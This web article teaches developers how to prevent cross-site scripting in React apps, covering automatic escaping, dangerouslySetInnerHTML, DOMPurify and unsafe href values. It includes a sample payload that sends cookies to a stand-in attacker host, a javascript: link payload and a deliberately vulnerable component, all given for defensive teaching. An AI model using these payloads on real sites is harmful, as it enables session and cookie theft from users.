Tools Games AI
[ Ad Placement: Top Article Banner ]

Preventing XSS in Modern React Apps

The Default Armor of React

Cross-Site Scripting (XSS) is a devastating vulnerability where a hacker injects malicious JavaScript into your webpage. When a victim views the page, the script executes, stealing their authentication cookies or session tokens. If you are using plain HTML and JavaScript (e.g., document.getElementById("post").innerHTML = userText;), you are highly vulnerable.

React, by default, is a fortress. If a malicious user submits a blog comment containing <script>fetch('http://hacker.com/?cookie='+document.cookie)</script>, and you render it using standard React interpolation (<div>{comment}</div>), React automatically escapes it. It converts the angle brackets into string literals (&lt;script&gt;). The browser renders the exact text on the screen, but completely refuses to execute it as code.

The Achilles Heel: dangerouslySetInnerHTML

React's armor has an intentional hole. If you are building a Markdown editor, a Rich Text editor, or pulling pre-formatted HTML from a Headless CMS (like Contentful or WordPress), you need the browser to render the actual HTML tags, not just string text.

To do this, React forces you to use a terrifyingly named prop: dangerouslySetInnerHTML.

// WARNING: THIS IS HIGHLY VULNERABLE TO XSS!
function BlogPost({ rawHtmlFromDatabase }) {
  return <div dangerouslySetInnerHTML={{ __html: rawHtmlFromDatabase }} />;
}

If you use this prop with user-supplied data, you have completely bypassed React's security. You must manually sanitize the HTML before passing it in.

The Shield: DOMPurify

You cannot write a regex to sanitize HTML yourself. Hackers are too clever; they will hide executable JavaScript inside SVG attributes or malformed image tags. You must use a battle-tested library like DOMPurify.

import DOMPurify from 'dompurify';

function SafeBlogPost({ rawHtmlFromDatabase }) {
  // DOMPurify strips out all <script> tags and dangerous attributes
  const cleanHtml = DOMPurify.sanitize(rawHtmlFromDatabase);
  
  return <div dangerouslySetInnerHTML={{ __html: cleanHtml }} />;
}

The Sneaky Vector: href Attributes

Even if you avoid dangerouslySetInnerHTML, React is still vulnerable to malicious URLs. If you allow a user to enter their personal website link, and you render it as <a href={userLink}>My Website</a>, the hacker can enter javascript:alert(document.cookie) as their URL. When the victim clicks the link, the JavaScript executes. Always validate that user-provided URLs start strictly with http:// or https:// before rendering them in an anchor tag.

[ Ad Placement: Bottom Article Banner ]